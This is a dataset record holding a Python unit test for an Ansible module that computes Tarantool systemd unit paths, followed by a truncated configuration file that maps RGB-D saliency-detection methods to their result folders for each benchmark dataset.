| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
359d6532cfed1acfc7abbda3821c63fb6b107ef6
| 8,755
|
py
|
Python
|
unit/test_get_systemd_units_info.py
|
tarantool/ansible-cartridge
|
14d86752d582f43f0d8efb27dbaa1175ff6e8ac2
|
[
"BSD-2-Clause"
] | 17
|
2019-09-02T15:31:56.000Z
|
2022-03-29T18:49:59.000Z
|
unit/test_get_systemd_units_info.py
|
tarantool/ansible-cartridge
|
14d86752d582f43f0d8efb27dbaa1175ff6e8ac2
|
[
"BSD-2-Clause"
] | 171
|
2019-10-24T15:34:34.000Z
|
2022-03-29T09:18:46.000Z
|
unit/test_get_systemd_units_info.py
|
tarantool/ansible-cartridge
|
14d86752d582f43f0d8efb27dbaa1175ff6e8ac2
|
[
"BSD-2-Clause"
] | 14
|
2019-12-23T08:27:06.000Z
|
2021-07-06T15:53:49.000Z
|
import sys
import unittest
import module_utils.helpers as helpers
sys.modules['ansible.module_utils.helpers'] = helpers
from library.cartridge_get_systemd_units_info import get_systemd_units_info
def call_get_systemd_units_info(app_name, instance_vars, tnt_version):
return get_systemd_units_info({
'app_name': app_name,
'instance_vars': instance_vars,
'tnt_version': tnt_version,
})
class TestGetInstanceInfo(unittest.TestCase):
def setUp(self):
self.maxDiff = None
def test_multiversion_tnt_ce(self):
app_name = 'myapp'
tnt_version = '3.0'
instance_vars = {
'cartridge_multiversion': True,
'cartridge_run_dir': 'some/run/dir',
'cartridge_data_dir': 'some/data/dir',
'cartridge_memtx_dir_parent': 'some/memtx/dir',
'cartridge_vinyl_dir_parent': 'some/vinyl/dir',
'cartridge_wal_dir_parent': 'some/wal/dir',
'cartridge_log_dir_parent': 'some/log/dir',
'dist_dir': '/some/dist/dir',
'cartridge_app_instances_dir': 'some/instances/dir',
}
res = call_get_systemd_units_info(app_name, instance_vars, tnt_version)
self.assertFalse(res.failed)
self.assertEqual(res.fact, {
'stateboard_name': 'myapp-stateboard',
'app_unit_file': 'myapp@.service',
'stateboard_unit_file': 'myapp-stateboard.service',
'instance_work_dir': 'some/data/dir/myapp.%i',
'stateboard_work_dir': 'some/data/dir/myapp-stateboard',
'instance_memtx_dir': 'some/memtx/dir/myapp.%i',
'stateboard_memtx_dir': 'some/memtx/dir/myapp-stateboard',
'instance_vinyl_dir': 'some/vinyl/dir/myapp.%i',
'stateboard_vinyl_dir': 'some/vinyl/dir/myapp-stateboard',
'instance_wal_dir': 'some/wal/dir/myapp.%i',
'stateboard_wal_dir': 'some/wal/dir/myapp-stateboard',
'instance_log_file': 'some/log/dir/myapp.%i.log',
'stateboard_log_file': 'some/log/dir/myapp-stateboard.log',
'instance_pid_file': 'some/run/dir/myapp.%i.pid',
'stateboard_pid_file': 'some/run/dir/myapp-stateboard.pid',
'instance_console_sock': 'some/run/dir/myapp.%i.control',
'stateboard_console_sock': 'some/run/dir/myapp-stateboard.control',
'instance_entrypoint': 'some/instances/dir/myapp.%i/init.lua',
'stateboard_entrypoint': 'some/instances/dir/myapp-stateboard/stateboard.init.lua',
'instance_tarantool_binary': '/usr/bin/tarantool',
'stateboard_tarantool_binary': '/usr/bin/tarantool',
})
def test_multiversion_tnt_ee(self):
app_name = 'myapp'
tnt_version = ''
instance_vars = {
'cartridge_multiversion': True,
'cartridge_run_dir': 'some/run/dir',
'cartridge_data_dir': 'some/data/dir',
'cartridge_memtx_dir_parent': None,
'cartridge_vinyl_dir_parent': None,
'cartridge_wal_dir_parent': None,
'cartridge_log_dir_parent': None,
'dist_dir': '/some/dist/dir',
'cartridge_app_instances_dir': 'some/instances/dir',
}
res = call_get_systemd_units_info(app_name, instance_vars, tnt_version)
self.assertFalse(res.failed)
self.assertEqual(res.fact, {
'stateboard_name': 'myapp-stateboard',
'app_unit_file': 'myapp@.service',
'stateboard_unit_file': 'myapp-stateboard.service',
'instance_work_dir': 'some/data/dir/myapp.%i',
'stateboard_work_dir': 'some/data/dir/myapp-stateboard',
'instance_memtx_dir': None,
'stateboard_memtx_dir': None,
'instance_vinyl_dir': None,
'stateboard_vinyl_dir': None,
'instance_wal_dir': None,
'stateboard_wal_dir': None,
'instance_log_file': None,
'stateboard_log_file': None,
'instance_pid_file': 'some/run/dir/myapp.%i.pid',
'stateboard_pid_file': 'some/run/dir/myapp-stateboard.pid',
'instance_console_sock': 'some/run/dir/myapp.%i.control',
'stateboard_console_sock': 'some/run/dir/myapp-stateboard.control',
'instance_entrypoint': 'some/instances/dir/myapp.%i/init.lua',
'stateboard_entrypoint': 'some/instances/dir/myapp-stateboard/stateboard.init.lua',
'instance_tarantool_binary': 'some/instances/dir/myapp.%i/tarantool',
'stateboard_tarantool_binary': 'some/instances/dir/myapp-stateboard/tarantool',
})
def test_not_multiversion_tnt_ce(self):
app_name = 'myapp'
tnt_version = '3.0'
instance_vars = {
'cartridge_multiversion': False,
'cartridge_run_dir': 'some/run/dir',
'cartridge_data_dir': 'some/data/dir',
'cartridge_memtx_dir_parent': 'some/memtx/dir',
'cartridge_vinyl_dir_parent': 'some/vinyl/dir',
'cartridge_wal_dir_parent': 'some/wal/dir',
'cartridge_log_dir_parent': 'some/log/dir',
'dist_dir': 'some/dist/dir',
'cartridge_app_instances_dir': 'some/instances/dir',
}
res = call_get_systemd_units_info(app_name, instance_vars, tnt_version)
self.assertFalse(res.failed)
self.assertEqual(res.fact, {
'stateboard_name': 'myapp-stateboard',
'app_unit_file': 'myapp@.service',
'stateboard_unit_file': 'myapp-stateboard.service',
'instance_work_dir': 'some/data/dir/myapp.%i',
'stateboard_work_dir': 'some/data/dir/myapp-stateboard',
'instance_memtx_dir': 'some/memtx/dir/myapp.%i',
'stateboard_memtx_dir': 'some/memtx/dir/myapp-stateboard',
'instance_vinyl_dir': 'some/vinyl/dir/myapp.%i',
'stateboard_vinyl_dir': 'some/vinyl/dir/myapp-stateboard',
'instance_wal_dir': 'some/wal/dir/myapp.%i',
'stateboard_wal_dir': 'some/wal/dir/myapp-stateboard',
'instance_log_file': 'some/log/dir/myapp.%i.log',
'stateboard_log_file': 'some/log/dir/myapp-stateboard.log',
'instance_pid_file': 'some/run/dir/myapp.%i.pid',
'stateboard_pid_file': 'some/run/dir/myapp-stateboard.pid',
'instance_console_sock': 'some/run/dir/myapp.%i.control',
'stateboard_console_sock': 'some/run/dir/myapp-stateboard.control',
'instance_entrypoint': 'some/dist/dir/init.lua',
'stateboard_entrypoint': 'some/dist/dir/stateboard.init.lua',
'instance_tarantool_binary': '/usr/bin/tarantool',
'stateboard_tarantool_binary': '/usr/bin/tarantool',
})
def test_not_multiversion_tnt_ee(self):
app_name = 'myapp'
tnt_version = ''
instance_vars = {
'cartridge_multiversion': False,
'cartridge_run_dir': 'some/run/dir',
'cartridge_data_dir': 'some/data/dir',
'cartridge_memtx_dir_parent': None,
'cartridge_vinyl_dir_parent': None,
'cartridge_wal_dir_parent': None,
'cartridge_log_dir_parent': None,
'dist_dir': 'some/dist/dir',
'cartridge_app_instances_dir': 'some/instances/dir',
}
res = call_get_systemd_units_info(app_name, instance_vars, tnt_version)
self.assertFalse(res.failed)
self.assertEqual(res.fact, {
'stateboard_name': 'myapp-stateboard',
'app_unit_file': 'myapp@.service',
'stateboard_unit_file': 'myapp-stateboard.service',
'instance_work_dir': 'some/data/dir/myapp.%i',
'stateboard_work_dir': 'some/data/dir/myapp-stateboard',
'instance_memtx_dir': None,
'stateboard_memtx_dir': None,
'instance_vinyl_dir': None,
'stateboard_vinyl_dir': None,
'instance_wal_dir': None,
'stateboard_wal_dir': None,
'instance_log_file': None,
'stateboard_log_file': None,
'instance_pid_file': 'some/run/dir/myapp.%i.pid',
'stateboard_pid_file': 'some/run/dir/myapp-stateboard.pid',
'instance_console_sock': 'some/run/dir/myapp.%i.control',
'stateboard_console_sock': 'some/run/dir/myapp-stateboard.control',
'instance_entrypoint': 'some/dist/dir/init.lua',
'stateboard_entrypoint': 'some/dist/dir/stateboard.init.lua',
'instance_tarantool_binary': 'some/dist/dir/tarantool',
'stateboard_tarantool_binary': 'some/dist/dir/tarantool',
})
| 39.615385
| 95
| 0.619874
| 998
| 8,755
| 5.118236
| 0.07515
| 0.072044
| 0.040525
| 0.046985
| 0.942052
| 0.934221
| 0.904464
| 0.902897
| 0.902897
| 0.902897
| 0
| 0.000607
| 0.247287
| 8,755
| 220
| 96
| 39.795455
| 0.774507
| 0
| 0
| 0.852941
| 0
| 0
| 0.529526
| 0.313421
| 0
| 0
| 0
| 0
| 0.047059
| 1
| 0.035294
| false
| 0
| 0.023529
| 0.005882
| 0.070588
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
35bdcbc9aad50913e91f3d991be5c6bedc53d868
| 21,694
|
py
|
Python
|
examples/config_method_py_example.py
|
123zbt/PySODEvalToolkit
|
897612b6975f3de2e5003e35703972b41c47ebfc
|
[
"MIT"
] | 27
|
2021-04-19T08:19:47.000Z
|
2022-03-25T09:10:37.000Z
|
examples/config_method_py_example.py
|
123zbt/PySODEvalToolkit
|
897612b6975f3de2e5003e35703972b41c47ebfc
|
[
"MIT"
] | 5
|
2021-08-16T03:42:42.000Z
|
2021-11-26T02:51:05.000Z
|
examples/config_method_py_example.py
|
123zbt/PySODEvalToolkit
|
897612b6975f3de2e5003e35703972b41c47ebfc
|
[
"MIT"
] | 8
|
2021-09-26T03:12:18.000Z
|
2022-03-26T13:49:22.000Z
|
# -*- coding: utf-8 -*-
import os
JLDCF_root = "<your_methods_path>/CVPR2020_JL-DCF"
JLDCF = {
"LFSD": dict(path=os.path.join(JLDCF_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(JLDCF_root, "NJU2K"), suffix=".png"),
"NLPR": dict(path=os.path.join(JLDCF_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(JLDCF_root, "RGBD135"), suffix=".png"),
"SIP": dict(path=os.path.join(JLDCF_root, "SIP"), suffix=".png"),
"SSD": None,
"STEREO797": None,
"STEREO1000": dict(path=os.path.join(JLDCF_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(JLDCF_root, "DUT-RGBD-testing"), suffix=".png"),
}
CoNet_root = "<your_methods_path>/2020-ECCV-CoNet"
CoNet = {
"LFSD": dict(path=os.path.join(CoNet_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(CoNet_root, "NJUD"), suffix=".png"),
"NLPR": dict(path=os.path.join(CoNet_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(CoNet_root, "RGBD135"), suffix=".png"),
"SIP": dict(path=os.path.join(CoNet_root, "SIP"), suffix=".png"),
"SSD": dict(path=os.path.join(CoNet_root, "SSD"), suffix=".png"),
"STEREO797": dict(path=os.path.join(CoNet_root, "STEREO"), suffix=".png"),
"STEREO1000": dict(path=os.path.join(CoNet_root, "STERE1000"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(CoNet_root, "DUT-RGBD"), suffix=".png"),
}
BBSNet_root = "<your_methods_path>/ECCV2020_BBSNet"
BBSNet = {
"LFSD": dict(path=os.path.join(BBSNet_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(BBSNet_root, "NJU2K"), suffix=".png"),
"NLPR": dict(path=os.path.join(BBSNet_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(BBSNet_root, "DES"), suffix=".png"),
"SIP": dict(path=os.path.join(BBSNet_root, "SIP"), suffix=".png"),
"SSD": dict(path=os.path.join(BBSNet_root, "SSD"), suffix=".png"),
"STEREO797": None,
"STEREO1000": dict(path=os.path.join(BBSNet_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(BBSNet_root, "DUT"), suffix=".png"),
}
CMWNet_root = "<your_methods_path>/ECCV2020_CMWNet"
CMWNet = {
"LFSD": dict(path=os.path.join(CMWNet_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(CMWNet_root, "NJU2K"), suffix=".png"),
"NLPR": dict(path=os.path.join(CMWNet_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(CMWNet_root, "DES"), suffix=".png"),
"SIP": dict(path=os.path.join(CMWNet_root, "SIP"), suffix=".png"),
"SSD": dict(path=os.path.join(CMWNet_root, "SSD"), suffix=".png"),
"STEREO797": None,
"STEREO1000": dict(path=os.path.join(CMWNet_root, "STEREO"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(CMWNet_root, "DUT-RGBD"), suffix=".png"),
}
FRDT_root = "<your_methods_path>/2020-ACMMM-FRDT"
FRDT = {
"LFSD": dict(path=os.path.join(FRDT_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(FRDT_root, "NJUD"), suffix=".png"),
"NLPR": dict(path=os.path.join(FRDT_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(FRDT_root, "RGBD-135"), suffix=".png"),
"SIP": None,
"SSD": dict(path=os.path.join(FRDT_root, "SSD"), suffix=".png"),
"STEREO797": dict(path=os.path.join(FRDT_root, "STEREO"), suffix=".png"),
"STEREO1000": None,
"DUTRGBD": dict(path=os.path.join(FRDT_root, "DUT"), suffix=".png"),
}
S2MA_root = "<your_methods_path>/2020-CVPR-S2MA"
S2MA = {
"LFSD": dict(path=os.path.join(S2MA_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(S2MA_root, "NJU2K"), suffix=".png"),
"NLPR": dict(path=os.path.join(S2MA_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(S2MA_root, "RGBD135"), suffix=".png"),
"SIP": dict(path=os.path.join(S2MA_root, "SIP"), suffix=".png"),
"SSD": dict(path=os.path.join(S2MA_root, "SSD100"), suffix=".png"),
"STEREO797": None,
"STEREO1000": dict(path=os.path.join(S2MA_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(S2MA_root, "DUT-RGBD"), suffix=".png"),
}
UCNet_root = "<your_methods_path>/2020-CVPR-UCNet_Res50/CVPR-UCNet_R50"
UCNet = {
"LFSD": dict(path=os.path.join(UCNet_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(UCNet_root, "NJU2K"), suffix=".png"),
"NLPR": dict(path=os.path.join(UCNet_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(UCNet_root, "DES"), suffix=".png"),
"SIP": dict(path=os.path.join(UCNet_root, "SIP"), suffix=".png"),
"SSD": None,
"STEREO797": None,
"STEREO1000": dict(path=os.path.join(UCNet_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(UCNet_root, "DUT"), suffix=".png"),
}
UCNet_ABP_root = "<your_methods_path>/2020-CVPR-UCNet_Res50/TPAMI_UCNet_R50_ABP"
UCNet_ABP = {
"LFSD": dict(path=os.path.join(UCNet_ABP_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(UCNet_ABP_root, "NJU2K"), suffix=".png"),
"NLPR": dict(path=os.path.join(UCNet_ABP_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(UCNet_ABP_root, "DES"), suffix=".png"),
"SIP": dict(path=os.path.join(UCNet_ABP_root, "SIP"), suffix=".png"),
"SSD": None,
"STEREO797": None,
"STEREO1000": dict(path=os.path.join(UCNet_ABP_root, "STERE"), suffix=".png"),
"DUTRGBD": None,
}
UCNet_CVAE_root = "<your_methods_path>/2020-CVPR-UCNet_Res50/TPAMI_UCNet_R50_CVAE"
UCNet_CVAE = {
"LFSD": dict(path=os.path.join(UCNet_CVAE_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(UCNet_CVAE_root, "NJU2K"), suffix=".png"),
"NLPR": dict(path=os.path.join(UCNet_CVAE_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(UCNet_CVAE_root, "DES"), suffix=".png"),
"SIP": dict(path=os.path.join(UCNet_CVAE_root, "SIP"), suffix=".png"),
"SSD": None,
"STEREO797": None,
"STEREO1000": dict(path=os.path.join(UCNet_CVAE_root, "STERE"), suffix=".png"),
"DUTRGBD": None,
}
CasGNN_root = "<your_methods_path>/2020-ECCV-CasGNN"
CasGNN = {
"LFSD": dict(path=os.path.join(CasGNN_root, "LFSD", "pred"), suffix=".png"),
"NJUD": dict(path=os.path.join(CasGNN_root, "NJUD", "pred"), suffix=".png"),
"NLPR": dict(path=os.path.join(CasGNN_root, "NLPR", "pred"), suffix=".png"),
"RGBD135": dict(path=os.path.join(CasGNN_root, "DES", "pred"), suffix=".png"),
"SIP": None,
"SSD": dict(path=os.path.join(CasGNN_root, "SSD", "pred"), suffix=".png"),
"STEREO797": None,
"STEREO1000": dict(path=os.path.join(CasGNN_root, "STERE", "pred"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(CasGNN_root, "DUT-RGBD", "pred"), suffix=".png"),
}
DANet_VGG16_root = "<your_methods_path>/2020-ECCV-DANet_VGG/DANet_vgg16"
DANet_VGG16 = {
"LFSD": dict(path=os.path.join(DANet_VGG16_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(DANet_VGG16_root, "NJUD"), suffix=".png"),
"NLPR": dict(path=os.path.join(DANet_VGG16_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(DANet_VGG16_root, "RGBD135"), suffix=".png"),
"SIP": dict(path=os.path.join(DANet_VGG16_root, "SIP"), suffix=".png"),
"SSD": dict(path=os.path.join(DANet_VGG16_root, "SSD"), suffix=".png"),
"STEREO797": None,
"STEREO1000": dict(path=os.path.join(DANet_VGG16_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(DANet_VGG16_root, "DUT-RGBD"), suffix=".png"),
}
DANet_VGG19_root = "<your_methods_path>/2020-ECCV-DANet_VGG/DANet_vgg19"
DANet_VGG19 = {
"LFSD": dict(path=os.path.join(DANet_VGG19_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(DANet_VGG19_root, "NJUD"), suffix=".png"),
"NLPR": dict(path=os.path.join(DANet_VGG19_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(DANet_VGG19_root, "RGBD135"), suffix=".png"),
"SIP": dict(path=os.path.join(DANet_VGG19_root, "SIP"), suffix=".png"),
"SSD": dict(path=os.path.join(DANet_VGG19_root, "SSD"), suffix=".png"),
"STEREO797": None,
"STEREO1000": dict(path=os.path.join(DANet_VGG19_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(DANet_VGG19_root, "DUT-RGBD"), suffix=".png"),
}
PGAR_root = "<your_methods_path>/2020-ECCV-PGAR"
PGAR = {
"LFSD": dict(path=os.path.join(PGAR_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(PGAR_root, "NJUD_test"), suffix=".png"),
"NLPR": dict(path=os.path.join(PGAR_root, "NLPR_test"), suffix=".png"),
"RGBD135": dict(path=os.path.join(PGAR_root, "RGBD135"), suffix=".png"),
"SIP": dict(path=os.path.join(PGAR_root, "SIP"), suffix=".png"),
"SSD": None,
"STEREO797": None,
"STEREO1000": dict(path=os.path.join(PGAR_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(PGAR_root, "DUT-RGBD"), suffix=".png"),
}
DisenFuse_root = "<your_methods_path>/2020-TIP-DisenFuse_VGG16"
DisenFuse = {
"LFSD": dict(path=os.path.join(DisenFuse_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(DisenFuse_root, "NJUD"), suffix=".png"),
"NLPR": dict(path=os.path.join(DisenFuse_root, "NLPR"), suffix=".jpg"),
"RGBD135": dict(path=os.path.join(DisenFuse_root, "DES"), suffix=".bmp"),
"SIP": dict(path=os.path.join(DisenFuse_root, "SIP"), suffix=".png"),
"SSD": None,
"STEREO797": None,
"STEREO1000": dict(path=os.path.join(DisenFuse_root, "STEREO1000"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(DisenFuse_root, "DUT"), suffix=".png"),
}
DPANet_root = "<your_methods_path>/2020-TIP-DPANet"
DPANet = {
"LFSD": dict(path=os.path.join(DPANet_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(DPANet_root, "NJUD"), suffix=".png"),
"NLPR": dict(path=os.path.join(DPANet_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(DPANet_root, "RGBD135"), suffix=".png"),
"SIP": dict(path=os.path.join(DPANet_root, "SIP"), suffix=".png"),
"SSD": dict(path=os.path.join(DPANet_root, "SSD100"), suffix=".png"),
"STEREO797": dict(path=os.path.join(DPANet_root, "STEREO797"), suffix=".png"),
"STEREO1000": None,
"DUTRGBD": dict(path=os.path.join(DPANet_root, "DUT"), suffix=".png"),
}
ICNet_root = "<your_methods_path>/2020-TIP-ICNet"
ICNet = {
"LFSD": dict(path=os.path.join(ICNet_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(ICNet_root, "NJU2K"), suffix=".png"),
"NLPR": dict(path=os.path.join(ICNet_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(ICNet_root, "DES"), suffix=".png"),
"SIP": dict(path=os.path.join(ICNet_root, "SIP"), suffix=".png"),
"SSD": dict(path=os.path.join(ICNet_root, "SSD"), suffix=".png"),
"STEREO797": None,
"STEREO1000": dict(path=os.path.join(ICNet_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(ICNet_root, "DUT-RGBD"), suffix=".png"),
}
D3Net_root = "<your_methods_path>/2020-TNNLS-D3Net"
D3Net = {
"LFSD": dict(path=os.path.join(D3Net_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(D3Net_root, "NJU2K_TEST"), suffix=".png"),
"NLPR": dict(path=os.path.join(D3Net_root, "NLPR_TEST"), suffix=".png"),
"RGBD135": dict(path=os.path.join(D3Net_root, "DES"), suffix=".png"),
"SIP": dict(path=os.path.join(D3Net_root, "SIP"), suffix=".png"),
"SSD": dict(path=os.path.join(D3Net_root, "SSD"), suffix=".png"),
"STEREO797": None,
"STEREO1000": dict(path=os.path.join(D3Net_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(D3Net_root, "DUT-RGBD_TEST"), suffix=".png"),
}
RD3D_root = "<your_methods_path>/2021-AAAI-RD3D"
RD3D = {
"LFSD": dict(path=os.path.join(RD3D_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(RD3D_root, "NJU2000"), suffix=".png"),
"NLPR": dict(path=os.path.join(RD3D_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(RD3D_root, "RGBD135"), suffix=".png"),
"SIP": dict(path=os.path.join(RD3D_root, "SIP"), suffix=".png"),
"SSD": None,
"STEREO797": None,
"STEREO1000": dict(path=os.path.join(RD3D_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(RD3D_root, "DUT"), suffix=".png"),
}
AFNet_root = "<your_methods_path>/AFNet"
AFNet = {
"LFSD": dict(path=os.path.join(AFNet_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(AFNet_root, "NJU2K-TEST"), suffix=".png"),
"NLPR": dict(path=os.path.join(AFNet_root, "NLPR-TEST"), suffix=".png"),
"RGBD135": dict(path=os.path.join(AFNet_root, "DES"), suffix=".png"),
"SIP": dict(path=os.path.join(AFNet_root, "SIP"), suffix=".png"),
"SSD": dict(path=os.path.join(AFNet_root, "SSD"), suffix=".png"),
"STEREO797": dict(path=os.path.join(AFNet_root, "STEREO"), suffix=".png"),
"STEREO1000": dict(path=os.path.join(AFNet_root, "STERE"), suffix=".png"),
"DUTRGBD": None,
}
CDCP_root = "<your_methods_path>/CDCP"
CDCP = {
"LFSD": dict(path=os.path.join(CDCP_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(CDCP_root, "NJUD"), suffix=".png"),
"NLPR": dict(path=os.path.join(CDCP_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(CDCP_root, "RGBD135"), suffix=".png"),
"SIP": dict(path=os.path.join(CDCP_root, "SIP"), suffix=".png"),
"SSD": dict(path=os.path.join(CDCP_root, "SSD"), suffix=".png"),
"STEREO797": None,
"STEREO1000": dict(path=os.path.join(CDCP_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(CDCP_root, "DUT-RGBD"), suffix=".png"),
}
CPFP_root = "<your_methods_path>/CPFP"
CPFP = {
"LFSD": dict(path=os.path.join(CPFP_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(CPFP_root, "NJUD"), suffix=".png"),
"NLPR": dict(path=os.path.join(CPFP_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(CPFP_root, "RGBD135"), suffix=".png"),
"SIP": dict(path=os.path.join(CPFP_root, "SIP"), suffix=".png"),
"SSD": dict(path=os.path.join(CPFP_root, "SSD"), suffix=".png"),
"STEREO797": None,
"STEREO1000": dict(path=os.path.join(CPFP_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(CPFP_root, "DUT-RGBD"), suffix=".png"),
}
CTMF_root = "<your_methods_path>/CTMF"
CTMF = {
"LFSD": dict(path=os.path.join(CTMF_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(CTMF_root, "NJUD"), suffix=".png"),
"NLPR": dict(path=os.path.join(CTMF_root, "NLPR"), suffix=".jpg"),
"RGBD135": dict(path=os.path.join(CTMF_root, "RGBD135"), suffix=".bmp"),
"SIP": dict(path=os.path.join(CTMF_root, "SIP"), suffix=".png"),
"SSD": dict(path=os.path.join(CTMF_root, "SSD"), suffix=".png"),
"STEREO797": None,
"STEREO1000": dict(path=os.path.join(CTMF_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(CTMF_root, "DUT-RGBD"), suffix=".png"),
}
DCMC_root = "<your_methods_path>/DCMC"
DCMC = {
"LFSD": dict(path=os.path.join(DCMC_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(DCMC_root, "NJUD"), suffix=".png"),
"NLPR": dict(path=os.path.join(DCMC_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(DCMC_root, "RGBD135"), suffix=".png"),
"SIP": dict(path=os.path.join(DCMC_root, "SIP"), suffix=".png"),
"SSD": dict(path=os.path.join(DCMC_root, "SSD"), suffix=".png"),
"STEREO797": dict(path=os.path.join(DCMC_root, "STEREO"), suffix=".png"),
"STEREO1000": dict(path=os.path.join(DCMC_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(DCMC_root, "DUT-RGBD"), suffix=".png"),
}
DES_root = "<your_methods_path>/DES"
DES = {
"LFSD": dict(path=os.path.join(DES_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(DES_root, "NJUD"), suffix=".png"),
"NLPR": dict(path=os.path.join(DES_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(DES_root, "RGBD135"), suffix=".png"),
"SIP": dict(path=os.path.join(DES_root, "SIP"), suffix=".png"),
"SSD": dict(path=os.path.join(DES_root, "SSD"), suffix=".png"),
"STEREO797": dict(path=os.path.join(DES_root, "STEREO"), suffix=".png"),
"STEREO1000": dict(path=os.path.join(DES_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(DES_root, "DUT-RGBD"), suffix=".png"),
}
DF_root = "<your_methods_path>/DF"
DF = {
"LFSD": dict(path=os.path.join(DF_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(DF_root, "NJUD"), suffix=".png"),
"NLPR": dict(path=os.path.join(DF_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(DF_root, "RGBD135"), suffix=".png"),
"SIP": dict(path=os.path.join(DF_root, "SIP/SIP"), suffix=".png"),
"SSD": dict(path=os.path.join(DF_root, "SSD"), suffix=".png"),
"STEREO797": dict(path=os.path.join(DF_root, "STEREO"), suffix=".png"),
"STEREO1000": dict(path=os.path.join(DF_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(DF_root, "DUT-RGBD"), suffix=".png"),
}
DMRA_root = "<your_methods_path>/DMRA"
DMRA = {
"LFSD": dict(path=os.path.join(DMRA_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(DMRA_root, "NJUD"), suffix=".png"),
"NLPR": dict(path=os.path.join(DMRA_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(DMRA_root, "RGBD135"), suffix=".png"),
"SIP": dict(path=os.path.join(DMRA_root, "SIP_FromAuthor"), suffix=".png"),
"SSD": dict(path=os.path.join(DMRA_root, "SSD"), suffix=".png"),
"STEREO797": dict(path=os.path.join(DMRA_root, "STEREO"), suffix=".png"),
"STEREO1000": dict(path=os.path.join(DMRA_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(DMRA_root, "DUT-RGBD"), suffix=".png"),
}
MB_root = "<your_methods_path>/MB"
MB = {
"LFSD": dict(path=os.path.join(MB_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(MB_root, "NJUD"), suffix=".png"),
"NLPR": dict(path=os.path.join(MB_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(MB_root, "RGBD135"), suffix=".png"),
"SIP": None,
"SSD": dict(path=os.path.join(MB_root, "SSD"), suffix=".png"),
